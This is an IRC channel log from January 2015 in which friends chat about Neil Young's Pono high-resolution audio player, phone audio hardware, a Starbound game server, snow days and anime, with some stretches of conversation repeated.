[2015-01-26T18:39:09-0500] <@awe> So, it can play 24-bit FLACs.
[2015-01-26T18:39:10-0500] <@awe> Great.
[2015-01-26T18:39:29-0500] <@awe> You can have roughly 60 albums!
[2015-01-26T18:39:40-0500] <nezorg> I wonder if he actually believes that 24/192 sounds better
[2015-01-26T18:39:46-0500] <@awe> He does.
[2015-01-26T18:39:52-0500] <@awe> Even though that study you showed.
[2015-01-26T18:40:07-0500] <nezorg> oh, I already posted that here? :P
[2015-01-26T18:40:10-0500] <@awe> Yes.
[2015-01-26T18:40:18-0500] <@awe> Lossless compression is obviously going to be better, but we didn't need a new music player for that.
[2015-01-26T18:40:26-0500] <@awe> We literally just needed Apple to add support for FLAC to iOS.
[2015-01-26T18:40:30-0500] <@awe> Or even ALAC.
[2015-01-26T18:40:49-0500] <nezorg> well, the thing that does make a difference in the player
[2015-01-26T18:40:51-0500] <nezorg> is the dac/amp
[2015-01-26T18:40:53-0500] <@awe> Well, yeah.
[2015-01-26T18:40:58-0500] <nezorg> which is genuinely better than an iphone
[2015-01-26T18:41:01-0500] <nezorg> (probably)
[2015-01-26T18:41:05-0500] <@awe> I dunno about tha.t
[2015-01-26T18:41:10-0500] <@awe> And either way, we could improve that, too.
[2015-01-26T18:42:10-0500] <@awe> Sound over lightning cable doesn't touch the built in amp.
[2015-01-26T18:42:32-0500] <nezorg> (or usb for people with good phones)
[2015-01-26T18:42:45-0500] <@awe> Yes.
[2015-01-26T18:42:58-0500] <@awe> Either way, there exist better amps that work with both.
[2015-01-26T18:43:33-0500] <bob_twinkles> does lightning have an OTG mode?
[2015-01-26T18:44:12-0500] <@awe> Yeah, I think so?
[2015-01-26T18:44:46-0500] <bob_twinkles> cool
[2015-01-26T18:45:16-0500] <@awe> I'm honestly not sure though.
[2015-01-26T18:45:24-0500] <@awe> Oh, wait, yes.
[2015-01-26T18:45:25-0500] <@awe> Definitely.
[2015-01-26T18:45:30-0500] <@awe> Because there's keyboard cases and stuff that use it.
[2015-01-26T18:46:27-0500] <nezorg> plus this exists http://store.apple.com/us/product/MD821ZM/A/lightning-to-usb-camera-adapter
[2015-01-26T18:49:54-0500] <@awe> Yeah.
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[2015-01-26T18:34:42-0500] <alokpathy> Ah xD
[2015-01-26T18:34:47-0500] <ubuntor> lol
[2015-01-26T18:35:32-0500] <@awe> Oh, yeah. I forgot that Neil Young got a ridiculous amount of money funded for what is essentially a FLAC audio player.
[2015-01-26T18:35:53-0500] <nezorg> awe: BUT IT'S 24/192
[2015-01-26T18:36:04-0500] <nezorg> (/s if that wasn't obvious)
[2015-01-26T18:36:14-0500] <@awe> as in sarcasm?
[2015-01-26T18:36:16-0500] <nezorg> yes
[2015-01-26T18:36:32-0500] <ubuntor> no, for sincerity
[2015-01-26T18:36:44-0500] <nezorg> well played
[2015-01-26T18:37:10-0500] <@awe> They refuse to talk about any of the technical details of it.
[2015-01-26T18:37:31-0500] <@awe> They just claim it sounds better.
[2015-01-26T18:37:31-0500] <assface> Neil Youn got hisself gypped
[2015-01-26T18:37:54-0500] <nezorg> awe: well, they sure advertise that it's 24/192
[2015-01-26T18:37:58-0500] <nezorg> which is probably true
[2015-01-26T18:38:01-0500] <nezorg> but such bullshit
[2015-01-26T18:38:02-0500] <@awe> Do they?
[2015-01-26T18:38:03-0500] <@awe> WHere?
[2015-01-26T18:38:42-0500] <nezorg> https://ponomusic.force.com/ccrz__ProductDetails?viewState=DetailView&cartId=36d65367-9bd4-4bd4-a8bb-4ec4348df828&sku=NY001&store=ponomusic
[2015-01-26T18:38:56-0500] <nezorg> "Pono supports playback of high-fidelity audio of up to 192kHz/24 bit resolution."
[2015-01-26T18:39:09-0500] <@awe> So, it can play 24-bit FLACs.
[2015-01-26T18:39:10-0500] <@awe> Great.
[2015-01-26T18:39:30-0500] <@awe> You can have roughly 60 albums!
[2015-01-26T18:39:40-0500] <nezorg> I wonder if he actually believes that 24/192 sounds better
[2015-01-26T18:39:46-0500] <@awe> He does.
[2015-01-26T18:39:52-0500] <@awe> Even though that study you showed.
[2015-01-26T18:40:07-0500] <nezorg> oh, I already posted that here? :P
[2015-01-26T18:40:10-0500] <@awe> Yes.
[2015-01-26T18:40:19-0500] <@awe> Lossless compression is obviously going to be better, but we didn't need a new music player for that.
[2015-01-26T18:40:26-0500] <@awe> We literally just needed Apple to add support for FLAC to iOS.
[2015-01-26T18:40:30-0500] <@awe> Or even ALAC.
[2015-01-26T18:40:49-0500] <nezorg> well, the thing that does make a difference in the player
[2015-01-26T18:40:51-0500] <nezorg> is the dac/amp
[2015-01-26T18:40:54-0500] <@awe> Well, yeah.
[2015-01-26T18:40:58-0500] <nezorg> which is genuinely better than an iphone
[2015-01-26T18:41:01-0500] <nezorg> (probably)
[2015-01-26T18:41:05-0500] <@awe> I dunno about tha.t
[2015-01-26T18:41:10-0500] <@awe> And either way, we could improve that, too.
[2015-01-26T18:42:10-0500] <@awe> Sound over lightning cable doesn't touch the built in amp.
[2015-01-26T18:42:32-0500] <nezorg> (or usb for people with good phones)
[2015-01-26T18:42:45-0500] <@awe> Yes.
[2015-01-26T18:42:58-0500] <@awe> Either way, there exist better amps that work with both.
[2015-01-26T18:43:33-0500] <bob_twinkles> does lightning have an OTG mode?
[2015-01-26T18:44:12-0500] <@awe> Yeah, I think so?
[2015-01-26T18:44:46-0500] <bob_twinkles> cool
[2015-01-26T18:45:16-0500] <@awe> I'm honestly not sure though.
[2015-01-26T18:45:24-0500] <@awe> Oh, wait, yes.
[2015-01-26T18:45:25-0500] <@awe> Definitely.
[2015-01-26T18:45:30-0500] <@awe> Because there's keyboard cases and stuff that use it.
[2015-01-26T18:46:27-0500] <nezorg> plus this exists http://store.apple.com/us/product/MD821ZM/A/lightning-to-usb-camera-adapter
[2015-01-26T18:49:54-0500] <@awe> Yeah.
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[2015-01-26T20:04:29-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-26T18:34:42-0500] <alokpathy> Ah xD
[2015-01-26T18:34:47-0500] <ubuntor> lol
[2015-01-26T18:35:32-0500] <@awe> Oh, yeah. I forgot that Neil Young got a ridiculous amount of money funded for what is essentially a FLAC audio player.
[2015-01-26T18:35:53-0500] <nezorg> awe: BUT IT'S 24/192
[2015-01-26T18:36:04-0500] <nezorg> (/s if that wasn't obvious)
[2015-01-26T18:36:14-0500] <@awe> as in sarcasm?
[2015-01-26T18:36:16-0500] <nezorg> yes
[2015-01-26T18:36:32-0500] <ubuntor> no, for sincerity
[2015-01-26T18:36:44-0500] <nezorg> well played
[2015-01-26T18:37:10-0500] <@awe> They refuse to talk about any of the technical details of it.
[2015-01-26T18:37:31-0500] <@awe> They just claim it sounds better.
[2015-01-26T18:37:31-0500] <assface> Neil Youn got hisself gypped
[2015-01-26T18:37:54-0500] <nezorg> awe: well, they sure advertise that it's 24/192
[2015-01-26T18:37:58-0500] <nezorg> which is probably true
[2015-01-26T18:38:01-0500] <nezorg> but such bullshit
[2015-01-26T18:38:02-0500] <@awe> Do they?
[2015-01-26T18:38:03-0500] <@awe> WHere?
[2015-01-26T18:38:42-0500] <nezorg> https://ponomusic.force.com/ccrz__ProductDetails?viewState=DetailView&cartId=36d65367-9bd4-4bd4-a8bb-4ec4348df828&sku=NY001&store=ponomusic
[2015-01-26T18:38:56-0500] <nezorg> "Pono supports playback of high-fidelity audio of up to 192kHz/24 bit resolution."
[2015-01-26T18:39:09-0500] <@awe> So, it can play 24-bit FLACs.
[2015-01-26T18:39:10-0500] <@awe> Great.
[2015-01-26T18:39:30-0500] <@awe> You can have roughly 60 albums!
[2015-01-26T18:39:40-0500] <nezorg> I wonder if he actually believes that 24/192 sounds better
[2015-01-26T18:39:46-0500] <@awe> He does.
[2015-01-26T18:39:52-0500] <@awe> Even though that study you showed.
[2015-01-26T18:40:07-0500] <nezorg> oh, I already posted that here? :P
[2015-01-26T18:40:10-0500] <@awe> Yes.
[2015-01-26T18:40:19-0500] <@awe> Lossless compression is obviously going to be better, but we didn't need a new music player for that.
[2015-01-26T18:40:26-0500] <@awe> We literally just needed Apple to add support for FLAC to iOS.
[2015-01-26T18:40:30-0500] <@awe> Or even ALAC.
[2015-01-26T18:40:49-0500] <nezorg> well, the thing that does make a difference in the player
[2015-01-26T18:40:51-0500] <nezorg> is the dac/amp
[2015-01-26T18:40:54-0500] <@awe> Well, yeah.
[2015-01-26T18:40:58-0500] <nezorg> which is genuinely better than an iphone
[2015-01-26T18:41:01-0500] <nezorg> (probably)
[2015-01-26T18:41:05-0500] <@awe> I dunno about tha.t
[2015-01-26T18:41:10-0500] <@awe> And either way, we could improve that, too.
[2015-01-26T18:42:10-0500] <@awe> Sound over lightning cable doesn't touch the built in amp.
[2015-01-26T18:42:32-0500] <nezorg> (or usb for people with good phones)
[2015-01-26T18:42:45-0500] <@awe> Yes.
[2015-01-26T18:42:58-0500] <@awe> Either way, there exist better amps that work with both.
[2015-01-26T18:43:33-0500] <bob_twinkles> does lightning have an OTG mode?
[2015-01-26T18:44:12-0500] <@awe> Yeah, I think so?
[2015-01-26T18:44:46-0500] <bob_twinkles> cool
[2015-01-26T18:45:16-0500] <@awe> I'm honestly not sure though.
[2015-01-26T18:45:24-0500] <@awe> Oh, wait, yes.
[2015-01-26T18:45:25-0500] <@awe> Definitely.
[2015-01-26T18:45:30-0500] <@awe> Because there's keyboard cases and stuff that use it.
[2015-01-26T18:46:27-0500] <nezorg> plus this exists http://store.apple.com/us/product/MD821ZM/A/lightning-to-usb-camera-adapter
[2015-01-26T18:49:54-0500] <@awe> Yeah.
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[2015-01-26T20:38:47-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-26T18:34:42-0500] <alokpathy> Ah xD
[2015-01-26T18:34:47-0500] <ubuntor> lol
[2015-01-26T18:35:32-0500] <@awe> Oh, yeah. I forgot that Neil Young got a ridiculous amount of money funded for what is essentially a FLAC audio player.
[2015-01-26T18:35:53-0500] <nezorg> awe: BUT IT'S 24/192
[2015-01-26T18:36:04-0500] <nezorg> (/s if that wasn't obvious)
[2015-01-26T18:36:14-0500] <@awe> as in sarcasm?
[2015-01-26T18:36:16-0500] <nezorg> yes
[2015-01-26T18:36:32-0500] <ubuntor> no, for sincerity
[2015-01-26T18:36:44-0500] <nezorg> well played
[2015-01-26T18:37:10-0500] <@awe> They refuse to talk about any of the technical details of it.
[2015-01-26T18:37:31-0500] <@awe> They just claim it sounds better.
[2015-01-26T18:37:31-0500] <assface> Neil Youn got hisself gypped
[2015-01-26T18:37:54-0500] <nezorg> awe: well, they sure advertise that it's 24/192
[2015-01-26T18:37:58-0500] <nezorg> which is probably true
[2015-01-26T18:38:01-0500] <nezorg> but such bullshit
[2015-01-26T18:38:02-0500] <@awe> Do they?
[2015-01-26T18:38:03-0500] <@awe> WHere?
[2015-01-26T18:38:42-0500] <nezorg> https://ponomusic.force.com/ccrz__ProductDetails?viewState=DetailView&cartId=36d65367-9bd4-4bd4-a8bb-4ec4348df828&sku=NY001&store=ponomusic
[2015-01-26T18:38:56-0500] <nezorg> "Pono supports playback of high-fidelity audio of up to 192kHz/24 bit resolution."
[2015-01-26T18:39:09-0500] <@awe> So, it can play 24-bit FLACs.
[2015-01-26T18:39:10-0500] <@awe> Great.
[2015-01-26T18:39:30-0500] <@awe> You can have roughly 60 albums!
[2015-01-26T18:39:40-0500] <nezorg> I wonder if he actually believes that 24/192 sounds better
[2015-01-26T18:39:46-0500] <@awe> He does.
[2015-01-26T18:39:52-0500] <@awe> Even though that study you showed.
[2015-01-26T18:40:07-0500] <nezorg> oh, I already posted that here? :P
[2015-01-26T18:40:10-0500] <@awe> Yes.
[2015-01-26T18:40:19-0500] <@awe> Lossless compression is obviously going to be better, but we didn't need a new music player for that.
[2015-01-26T18:40:26-0500] <@awe> We literally just needed Apple to add support for FLAC to iOS.
[2015-01-26T18:40:30-0500] <@awe> Or even ALAC.
[2015-01-26T18:40:49-0500] <nezorg> well, the thing that does make a difference in the player
[2015-01-26T18:40:51-0500] <nezorg> is the dac/amp
[2015-01-26T18:40:54-0500] <@awe> Well, yeah.
[2015-01-26T18:40:58-0500] <nezorg> which is genuinely better than an iphone
[2015-01-26T18:41:01-0500] <nezorg> (probably)
[2015-01-26T18:41:05-0500] <@awe> I dunno about tha.t
[2015-01-26T18:41:10-0500] <@awe> And either way, we could improve that, too.
[2015-01-26T18:42:10-0500] <@awe> Sound over lightning cable doesn't touch the built in amp.
[2015-01-26T18:42:32-0500] <nezorg> (or usb for people with good phones)
[2015-01-26T18:42:45-0500] <@awe> Yes.
[2015-01-26T18:42:58-0500] <@awe> Either way, there exist better amps that work with both.
[2015-01-26T18:43:33-0500] <bob_twinkles> does lightning have an OTG mode?
[2015-01-26T18:44:12-0500] <@awe> Yeah, I think so?
[2015-01-26T18:44:46-0500] <bob_twinkles> cool
[2015-01-26T18:45:16-0500] <@awe> I'm honestly not sure though.
[2015-01-26T18:45:24-0500] <@awe> Oh, wait, yes.
[2015-01-26T18:45:25-0500] <@awe> Definitely.
[2015-01-26T18:45:30-0500] <@awe> Because there's keyboard cases and stuff that use it.
[2015-01-26T18:46:27-0500] <nezorg> plus this exists http://store.apple.com/us/product/MD821ZM/A/lightning-to-usb-camera-adapter
[2015-01-26T18:49:54-0500] <@awe> Yeah.
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[2015-01-26T21:06:31-0500] <+hardmath123> Whew, that was a looooooong day.
[2015-01-26T21:09:23-0500] <+hardmath123> JacobEdelman: I was actually back last night; I guess nobody noticed :P
[2015-01-26T21:09:37-0500] <+JacobEdelman> hardmath123: how you doing?
[2015-01-26T21:09:42-0500] <+JacobEdelman> we were worried about you
[2015-01-26T21:09:50-0500] <+hardmath123> 19:27:20      +hardmath123 | last year, someone got mad at me and threw an iphone at me
[2015-01-26T21:11:01-0500] <assface> I had a shitty day as well
[2015-01-26T21:11:34-0500] <+hardmath123> JacobEdelman: I'm doing great, couldn't be better.
[2015-01-26T21:11:56-0500] <+hardmath123> Correction: I dropped part of my lunch, that didn't have to happen.
[2015-01-26T21:12:00-0500] • hardmath123: shakes fist at fate.
[2015-01-26T21:12:18-0500] <+JacobEdelman> hardmath123: you seemed pretty upset when I showed you the article and all :(
[2015-01-26T21:13:58-0500] <+hardmath123> JacobEdelman: Yes, well, I did some thinking. I figured that there's no use letting a result of depression cause *more* gloom. That would be an infinite loop.
[2015-01-26T21:14:13-0500] <+JacobEdelman> hardmath123: good thinking
[2015-01-26T21:14:22-0500] <+JacobEdelman> hardmath123: good to have you back :)
[2015-01-26T21:14:25-0500] <+hardmath123> :)
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[2015-01-26T21:18:43-0500] <alokpathy> hardmath123: Yay you're all better :D
[2015-01-26T21:18:48-0500] <alokpathy> woo
[2015-01-26T21:19:52-0500] <@awe> Ugh.
[2015-01-26T21:19:59-0500] <@awe> Starbound updated the size of a storage container I was using
[2015-01-26T21:20:06-0500] <@awe> And they just deleted everything extra in the containers.
[2015-01-26T21:20:07-0500] <@awe> .-.
[2015-01-26T21:20:09-0500] <@awe> I lost a ton of stuff.
[2015-01-26T21:20:22-0500] <The_Master> awe: is the server up?
[2015-01-26T21:20:29-0500] <@awe> Yeah.
[2015-01-26T21:20:38-0500] <The_Master> whats the ip?
[2015-01-26T21:21:05-0500] <@awe> 128.119.235.7
[2015-01-26T21:26:36-0500] <The_Master> it crashed me immediately.
[2015-01-26T21:26:41-0500] <@awe> Yeah, I was having issues too.
[2015-01-26T21:26:46-0500] <@awe> I'm not really sure what's up right now.
[2015-01-26T21:27:00-0500] <@awe> I had to run on Windows for it to not crash.
[2015-01-26T21:27:08-0500] <The_Master> oh
[2015-01-26T21:27:12-0500] <The_Master> that is annoying
[2015-01-26T21:44:07-0500] <@awe> JacobEdelman: I let it run for a very long time.
[2015-01-26T21:44:14-0500] <@awe> JacobEdelman: It's still producing garbage that's worse than my markov chain stuff.
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[2015-01-26T22:02:11-0500] You're now known as butthole
[2015-01-26T22:02:32-0500] <@butthole> @iam awe.
[2015-01-26T22:02:32-0500] <awebot> butthole: Got it!
[2015-01-26T22:04:49-0500] <+Tamini> i mean
[2015-01-26T22:04:58-0500] <+Tamini> oops
[2015-01-26T22:10:33-0500] <alokpathy> wat
[2015-01-26T22:10:37-0500] <alokpathy> Tamini: Ohi
[2015-01-26T22:10:45-0500] <+Tamini> ohi
[2015-01-26T22:10:45-0500] <+Tamini> <3
[2015-01-26T22:10:49-0500] <+Tamini> did you get a bouncer yet man
[2015-01-26T22:10:56-0500] <+Tamini> you missed my long rant of the day
[2015-01-26T22:11:14-0500] <+hardmath123> long?
[2015-01-26T22:11:55-0500] <alokpathy> Tamini: Nope :)
[2015-01-26T22:12:04-0500] <+Tamini> it was
[2015-01-26T22:12:05-0500] <+Tamini> semi long
[2015-01-26T22:12:05-0500] <alokpathy> I haven't chosen a different client yet
[2015-01-26T22:12:12-0500] <alokpathy> Tamini: Also look hardmath123 is back :D
[2015-01-26T22:12:13-0500] <+Tamini> and very much CAPSLOCK?!?!?!?!
[2015-01-26T22:12:16-0500] <+Tamini> yeah! <3
[2015-01-26T22:12:25-0500] <+Tamini> you would've been able to talk to him if you had a bouncer cough cough cough
[2015-01-26T22:12:45-0500] <alokpathy> I need to pick another client .-.
[2015-01-26T22:12:47-0500] <alokpathy> Which one do you use?
[2015-01-26T22:13:42-0500] <+JacobEdelman> awe: turn up the setting
[2015-01-26T22:13:46-0500] <+JacobEdelman> or preload the model
[2015-01-26T22:13:53-0500] <+JacobEdelman> (look at the bottom of the page)
[2015-01-26T22:13:54-0500] <+hardmath123> alokpathy: I still vote that you leave weechat/irssi running perpetually on backtick.town.
[2015-01-26T22:14:02-0500] <+JacobEdelman> awe: keep in mind its doing it letter by lterr
[2015-01-26T22:14:21-0500] <+JacobEdelman> the tech can do things like learn context sensitive languages
[2015-01-26T22:15:06-0500] <+JacobEdelman> awe: why'd you change your name
[2015-01-26T22:15:08-0500] <+Tamini> awit
[2015-01-26T22:15:09-0500] <+Tamini> wait yeah
[2015-01-26T22:15:15-0500] <+Tamini> weechat on backtick sounds like a really good idea
[2015-01-26T22:15:23-0500] <+Tamini> except apparently connecting to pdgn was a little bit of a hassle??
[2015-01-26T22:15:41-0500] <+hardmath123> just disable ssl cert checking
[2015-01-26T22:23:01-0500] You're now known as awe
[2015-01-26T22:23:22-0500] <@awe> alokpathy: Or you can pick any other client and I'll give you a znc account.
[2015-01-26T22:43:48-0500] <alokpathy> I will soon, lol
[2015-01-26T22:48:44-0500] <LittleBobbyTables> lol semi-long.
[2015-01-26T22:55:41-0500] <+Tamini> lol alokpathy 
[2015-01-26T22:55:49-0500] <+Tamini> why cant you make decisions? :P
[2015-01-26T22:55:53-0500] <+Tamini> LittleBobbyTables: shush, it's a thing
[2015-01-26T22:56:06-0500] <+Tamini> also "all asians can cook" is totally an untrue generalization smh
[2015-01-26T22:57:09-0500] <alokpathy> Tamini: It's not that
[2015-01-26T22:57:24-0500] <alokpathy> It's just that I'm doing other things whenever I remember to do it
[2015-01-26T22:57:59-0500] <+Tamini> why not nao?
[2015-01-26T22:58:01-0500] <+Tamini> :O
[2015-01-26T22:58:05-0500] <+Tamini> also 1-3 inches pls storm PLS
[2015-01-26T22:58:20-0500] <+Tamini> s0lder> apparently cars are sliding of I-66
[2015-01-26T22:58:20-0500] <+Tamini> <s0lder> which is terrible
[2015-01-26T22:58:20-0500] <+Tamini> <s0lder> but great news
[2015-01-26T22:58:20-0500] <+Tamini> <s0lder> but terrible
[2015-01-26T22:58:21-0500] <+Tamini> <s0lder> but still great news
[2015-01-26T22:59:21-0500] <The_Master> awe: is starbound server up?
[2015-01-26T22:59:44-0500] <alokpathy> Tamini: wat
[2015-01-26T22:59:46-0500] <jwoglom> 22:59:26         srepetsk | oh boy vdot camera 40 has an accident on it
[2015-01-26T22:59:58-0500] <jwoglom> dc area drivers 10/10
[2015-01-26T23:01:06-0500] <LittleBobbyTables> omg this is the greatest thing ever: https://gfycat.com/DisgustingDeliciousHornbill
[2015-01-26T23:04:29-0500] <@awe> The_Master: I took it down because I'm running other processor intensive stuff.
[2015-01-26T23:05:34-0500] <LittleBobbyTables> Just bet a better c omputer.
[2015-01-26T23:42:12-0500] <assface> eyyy
[2015-01-26T23:45:06-0500] <bob_twinkles> lmao?
[2015-01-26T23:45:33-0500] <assface> NO
[2015-01-26T23:45:40-0500] <assface> NO MAYO
[2015-01-26T23:46:22-0500] <bob_twinkles> jeese you're as bad as my brother
[2015-01-26T23:48:34-0500] <nezorg> this is quite the airplane https://en.wikipedia.org/wiki/Airbus_Beluga
[2015-01-26T23:48:48-0500] <nezorg> in other news, my flight to tokyo is almost bought :D
[2015-01-26T23:49:06-0500] <+Tamini> take me take meee
[2015-01-26T23:49:23-0500] <+Tamini> ill fit in your carry-on! :D
[2015-01-26T23:49:29-0500] <assface> god dammit
[2015-01-26T23:49:36-0500] <nezorg> but I want to take other stuff in my carryon :/
[2015-01-26T23:49:37-0500] <assface> I left my calc textbook in my dad's calssroom
[2015-01-26T23:49:47-0500] <nezorg> assface: I have a pdf if you want it
[2015-01-26T23:49:55-0500] <assface> nezorg: that I do
[2015-01-26T23:50:00-0500] <nezorg> ah, alright
[2015-01-26T23:50:37-0500] <+Tamini> wow
[2015-01-26T23:50:40-0500] <+Tamini> what's more important than me?
[2015-01-26T23:51:04-0500] <nezorg> my laptop
[2015-01-26T23:51:05-0500] <nezorg> >_>
[2015-01-26T23:51:06-0500] <assface> his porn collection?
[2015-01-26T23:51:10-0500] <assface> I mean laptop
[2015-01-26T23:51:27-0500] <nezorg> assface: ah, fuck, I think I deleted the textbook
[2015-01-26T23:51:32-0500] <nezorg> pretty sure it's on tpb though
[2015-01-26T23:51:39-0500] <nezorg> (and mirrors are a thing)
[2015-01-26T23:51:39-0500] <assface> tpb is down silly
[2015-01-26T23:51:44-0500] <nezorg> >mirrors
[2015-01-26T23:51:45-0500] <assface> no they aint
[2015-01-26T23:52:05-0500] <jwoglom> kat works a lot better imo
[2015-01-26T23:52:14-0500] <+Tamini> wow
[2015-01-26T23:52:19-0500] <+Tamini> you dont need a laptop in a carryon psh
[2015-01-26T23:52:41-0500] <jwoglom> put it under your shirt
[2015-01-26T23:52:55-0500] <nezorg> assface: ...I have a different calc book on my other partition, though :P
[2015-01-26T23:53:40-0500] <assface> bah
[2015-01-26T23:54:05-0500] <assface> I'll jsut double up on hw on tuesday, no biggie
[2015-01-26T23:57:47-0500] <nezorg> ...ooh, this is a nice book
[2015-01-26T23:58:10-0500] <assface> which one is it?
[2015-01-26T23:58:14-0500] <nezorg> spivak
[2015-01-26T23:58:18-0500] <assface> bah
[2015-01-27T00:00:15-0500] <+Tamini> ughh
[2015-01-27T00:00:21-0500] <+Tamini> my friend JUST got into heroes of the storm beta
[2015-01-27T00:00:40-0500] <assface> it could be worse, he could have got into EVE online
[2015-01-27T00:00:46-0500] <assface> you wouldn't see them for weeks
[2015-01-27T00:02:50-0500] <LittleBobbyTables> HES PLAYING A GAME THATS WORSE THAN LEAGUE
[2015-01-27T00:02:52-0500] <LittleBobbyTables> WTF IS THIS
[2015-01-27T00:04:03-0500] <assface> ^
[2015-01-27T00:04:08-0500] <assface> few games are worse than league
[2015-01-27T00:15:00-0500] <alokpathy> The interstellar soundtrack <3
[2015-01-27T00:16:45-0500] <+Tamini> its soooo goood
[2015-01-27T00:16:46-0500] <+Tamini> <3
[2015-01-27T00:17:30-0500] <jwoglom> hans zimmer man
[2015-01-27T00:17:46-0500] <nezorg> zimmerman?
[2015-01-27T00:20:00-0500] <alokpathy> No :P
[2015-01-27T00:20:05-0500] <alokpathy> Hans Zimmer, man.
[2015-01-27T00:20:22-0500] <+Tamini> k
[2015-01-27T00:20:25-0500] <+Tamini> now we pray har
[2015-01-27T00:20:25-0500] <+Tamini> d
[2015-01-27T00:20:29-0500] <+Tamini> and i go to bed in ~10 mins
[2015-01-27T00:20:43-0500] <jwoglom> Tamini: you've just got to believe!
[2015-01-27T00:20:54-0500] <alokpathy> Tamini: Ha we already had the snow day announcement :P
[2015-01-27T00:20:54-0500] <+Tamini> jwoglom: find a religion
[2015-01-27T00:20:58-0500] <+Tamini> if we have no school, keep it.
[2015-01-27T00:21:15-0500] <jwoglom> i see :P
[2015-01-27T00:21:59-0500] <alokpathy> LOL
[2015-01-27T00:22:08-0500] <jwoglom> I set up an IFTTT for mcelveen's tweets and fcps' internal email announcements
[2015-01-27T00:35:54-0500] <ubuntor> lol
[2015-01-27T00:36:13-0500] <ubuntor> actually, that's not a bad idea
[2015-01-27T00:37:56-0500] <+Tamini> jwoglom: i have a simpler solution
[2015-01-27T00:37:58-0500] <+Tamini> you can just tell me! :D
[2015-01-27T00:43:58-0500] <LittleBobbyTables> 60 cs in a 30 minute game as a hard carry
[2015-01-27T00:44:02-0500] <LittleBobbyTables> against a solo melee hero
[2015-01-27T00:44:10-0500] <LittleBobbyTables> how are people so bad at literally only right clicking
[2015-01-27T00:44:32-0500] <+Tamini> but you have to like
[2015-01-27T00:44:35-0500] <+Tamini> right click at the right timeee
[2015-01-27T00:49:51-0500] <assface> and in the right place
[2015-01-27T01:01:38-0500] <nezorg> and in the right universe
[2015-01-27T01:03:12-0500] <assface> nah
[2015-01-27T01:03:36-0500] <assface> any old universe will do
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[2015-01-27T09:01:39-0500] <failedxyz> hei
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[2015-01-27T10:15:31-0500] Pidgey sets mode +v JacobEdelman
[2015-01-27T10:15:49-0500] <+JacobEdelman> what happened to my snow?
[2015-01-27T10:19:41-0500] <alokpathy> JacobEdelman: It snowed?
[2015-01-27T10:19:43-0500] <alokpathy> It's still snowing.
[2015-01-27T10:20:02-0500] <+JacobEdelman> were supposed to get 1-3 inches today
[2015-01-27T10:20:10-0500] <+JacobEdelman> and we've only gotten like 6 so far
[2015-01-27T10:20:10-0500] <alokpathy> Well, we got 1
[2015-01-27T10:20:20-0500] <alokpathy> 6 inches?
[2015-01-27T10:20:20-0500] <+JacobEdelman> hardly any snow
[2015-01-27T10:20:37-0500] <+JacobEdelman> 4-5 Iam told we have right now
[2015-01-27T10:20:39-0500] <alokpathy> It didn't look like 6 inches.
[2015-01-27T10:20:40-0500] <+JacobEdelman> take a ruler and check
[2015-01-27T10:20:49-0500] <+JacobEdelman> its hardly any snow
[2015-01-27T10:20:50-0500] <alokpathy> I went outside
[2015-01-27T10:20:57-0500] <alokpathy> It looked more like 1
[2015-01-27T10:20:58-0500] <+JacobEdelman> (make sure to check grass not the street
[2015-01-27T10:21:05-0500] <+JacobEdelman> it doesn't look like 1 to me
[2015-01-27T10:21:06-0500] <alokpathy> Oh, I looked at my driveway.
[2015-01-27T10:21:25-0500] <+JacobEdelman> driveway is black, could be harder to get cold enough and freeze
[2015-01-27T10:21:27-0500] <+JacobEdelman> try grass
[2015-01-27T10:21:37-0500] <+JacobEdelman> *and for snow to stay on it, not for it to free
[2015-01-27T10:21:39-0500] <alokpathy> Ehh I'm not going outside again.
[2015-01-27T10:21:46-0500] <+JacobEdelman> neither am I
[2015-01-27T10:21:51-0500] <+JacobEdelman> :P
[2015-01-27T10:21:57-0500] <+JacobEdelman> well, its way less than we expected
[2015-01-27T10:22:04-0500] <+JacobEdelman> apparentely the storm headed up north
[2015-01-27T10:22:12-0500] <+JacobEdelman> to hang out in boston
[2015-01-27T10:22:40-0500] <alokpathy> Not surprised.
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[2015-01-27T10:27:00-0500] <+JacobEdelman> tommorows a c day, right?
[2015-01-27T10:27:49-0500] <+JacobEdelman> alokpathy!
[2015-01-27T10:29:37-0500] <alokpathy> Yeah.
[2015-01-27T10:31:46-0500] • hardmath123: rejoices in his 67-degree weather.
[2015-01-27T10:34:16-0500] <alokpathy> xDD
[2015-01-27T10:36:03-0500] • jwoglom: has a snow day :D
[2015-01-27T10:36:50-0500] <alokpathy> woo same :D
[2015-01-27T11:02:19-0500] • nezorg: shivers in his 60-degree weather
[2015-01-27T11:07:01-0500] • JacobEdelman: is annoyed its only one snow day
[2015-01-27T11:09:25-0500] • alokpathy: likes using /me too
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[2015-01-27T12:07:26-0500] <Tamini_> im so happy <3
[2015-01-27T12:07:40-0500] <Tamini_> sleep is super great
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[2015-01-27T13:26:32-0500] <assface> 3
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[2015-01-27T13:28:39-0500] <@awe> o
[2015-01-27T13:28:43-0500] <@awe> k den.
[2015-01-27T13:29:03-0500] <alokpathy> Insightful.
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[2015-01-27T13:59:45-0500] <nezorg> assface: 4
[2015-01-27T14:01:25-0500] <assface> 3
[2015-01-27T14:01:43-0500] <assface> I was switching windows & forgot the /
[2015-01-27T14:13:49-0500] <@awe> assface: o, ok.
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[2015-01-27T14:39:12-0500] <+JacobEdelman> why must code geass make me so sad?
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[2015-01-27T15:55:26-0500] <Hyper> JacobEdelman: how far in are you?
[2015-01-27T15:55:42-0500] <+JacobEdelman> I'm on the last episode of the 1st season now
[2015-01-27T15:55:46-0500] <Hyper> oh ok
[2015-01-27T15:55:48-0500] <Hyper> cool
[2015-01-27T15:56:24-0500] <@awe> Too much animez.
[2015-01-27T15:57:51-0500] <+JacobEdelman> ... yeah, I'm supposed to be doing work
[2015-01-27T15:58:00-0500] <+JacobEdelman> not watching 10 episodes of code geass...
[2015-01-27T16:02:35-0500] <alokpathy> JacobEdelman: You need to get your priorities straight.
[2015-01-27T16:02:43-0500] <+JacobEdelman> yes, I do
[2015-01-27T16:02:44-0500] <+JacobEdelman> :(
[2015-01-27T16:02:46-0500] <alokpathy> Code Geass > work
[2015-01-27T16:02:49-0500] <+JacobEdelman> hahaha
[2015-01-27T16:02:52-0500] <+JacobEdelman> hahahahahaha
[2015-01-27T16:02:58-0500] <alokpathy> Accept it. Don't question it.
[2015-01-27T16:03:04-0500] <alokpathy> I have no idea what it is btw.
[2015-01-27T16:03:10-0500] <+JacobEdelman> guys
